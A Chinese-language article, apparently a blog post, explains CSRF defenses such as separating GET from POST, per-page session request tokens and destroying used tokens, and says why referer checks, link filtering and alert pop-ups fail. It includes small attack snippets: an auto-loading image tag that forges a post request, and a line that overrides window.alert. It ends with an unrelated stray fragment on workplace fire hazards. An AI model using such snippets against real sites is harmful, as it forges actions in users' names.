首先可以提高的一個門檻,就是改良站內 API 的設計。對於發布帖子這一類創建資源的操作,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變伺服器端資源。當然,最理想的做法是使用 REST 風格 的 API 設計,GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、創建、修改、刪除。現在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法,我們可以使用 ajax 提交請求(例如通過 jquery-form 插件,我最喜歡的做法),也可以使用隱藏域指定請求方法,然後用 POST 模擬 PUT 和 DELETE (Ruby on Rails 的做法)。這么一來,不同的資源操作區分的非常清楚,我們把問題域縮小到了非 GET 類型的請求上——攻擊者已經不可能通過發布鏈接來偽造請求了,但他們仍可以發布表單,或者在其他站點上使用我們肉眼不可見的表單,在後台用 js 操作,偽造請求。
接下來我們就可以用比較簡單也比較有效的方法來防禦 CSRF,這個方法就是「請求令牌」。讀過《J2EE 核心模式》的同學應該對「同步令牌」應該不會陌生,「請求令牌」和「同步令牌」原理是一樣的,只不過目的不同,後者是為了解決 POST 請求重復提交問題,前者是為了保證收到的請求一定來自預期的頁面。實現方法非常簡單,首先伺服器端要以某種策略生成隨機字元串,作為令牌(token), 保存在 Session 里。然後在發出請求的頁面,把該令牌以隱藏域一類的形式,與其他信息一並發出。在接收請求的頁面,把接收到的信息中的令牌與 Session 中的令牌比較,只有一致的時候才處理請求,否則返回 HTTP 403 拒絕請求或者要求用戶重新登陸驗證身份。
請求令牌雖然使用起來簡單,但並非不可破解,使用不當會增加安全隱患。使用請求令牌來防止 CSRF 有以下幾點要注意:
雖然請求令牌原理和驗證碼有相似之處,但不應該像驗證碼一樣,全局使用一個 Session Key。因為請求令牌的方法在理論上是可破解的,破解方式是解析來源頁面的文本,獲取令牌內容。如果全局使用一個 Session Key,那麼危險系數會上升。原則上來說,每個頁面的請求令牌都應該放在獨立的 Session Key 中。我們在設計伺服器端的時候,可以稍加封裝,編寫一個令牌工具包,將頁面的標識作為 Session 中保存令牌的鍵。
在 ajax 技術應用較多的場合,因為很有請求是 JavaScript 發起的,使用靜態的模版輸出令牌值或多或少有些不方便。但無論如何,請不要提供直接獲取令牌值的 API。這么做無疑是鎖上了大門,卻又把鑰匙放在門口,讓我們的請求令牌退化為同步令牌。
第一點說了請求令牌理論上是可破解的,所以非常重要的場合,應該考慮使用驗證碼(令牌的一種升級,目前來看破解難度極大),或者要求用戶再次輸入密碼(亞馬遜、淘寶的做法)。但這兩種方式用戶體驗都不好,所以需要產品開發者權衡。
無論是普通的請求令牌還是驗證碼,伺服器端驗證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學校的選課系統就有這個 問題,驗證碼用完並未銷毀,故只要獲取一次驗證碼圖片,其中的驗證碼可以在多次請求中使用(只要不再次刷新驗證碼圖片),一直用到 Session 超時。這也是為何選課系統加了驗證碼,外掛軟體升級一次之後仍然暢通無阻。
如下也列出一些據說能有效防範 CSRF,其實效果甚微的方式甚至無效的做法。
通過 referer 判定來源頁面:referer 是在 HTTP Request Head 裡面的,也就是由請求的發送者決定的。如果我喜歡,可以給 referer 任何值。當然這個做法並不是毫無作用,起碼可以防小白。但我覺得性價比不如令牌。
過濾所有用戶發布的鏈接:這個是最無效的做法,因為首先攻擊者不一定要從站內發起請求(上面提到過了),而且就算從站內發起請求,途徑也遠遠不知鏈接一條。比如 <img src="./create_post.php" /> 就是個不錯的選擇,還不需要用戶去點擊,只要用戶的瀏覽器會自動載入圖片,就會自動發起請求。 *在請求發起頁面用 alert 彈窗提醒用戶:這個方法看上去能幹擾站外通過 iframe 發起的 CSRF,但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞,或者乾脆脫離 iframe,使用 Flash 來達到目的。
總體來說,目前防禦 CSRF 的諸多方法還沒幾個能徹底無解的。所以 CSDN 上看到討論 CSRF 的文章,一般都會含有「無恥」二字來形容(另一位有該名號的貌似是 DDOS 攻擊)。作為開發者,我們能做的就是盡量提高破解難度。當破解難度達到一定程度,網站就逼近於絕對安全的位置了(雖然不能到達)。上述請求令牌方法,就我 認為是最有可擴展性的,因為其原理和 CSRF 原理是相剋的。CSRF 難以防禦之處就在於對伺服器端來說,偽造的請求和正常的請求本質上是一致的。而請求令牌的方法,則是揪出這種請求上的唯一區別——來源頁面不同。我們還可 以做進一步的工作,例如讓頁面中 token 的 key 動態化,進一步提高攻擊者的門檻。本文只是我個人認識的一個總結,便不討論過深了。
Ⅹ 本崗位的安全風險有哪些
摘要 1、火災隱患。易燃物品較多,日常工作中應避免火源,並設置消防滅火設施,熟練掌握操作方法。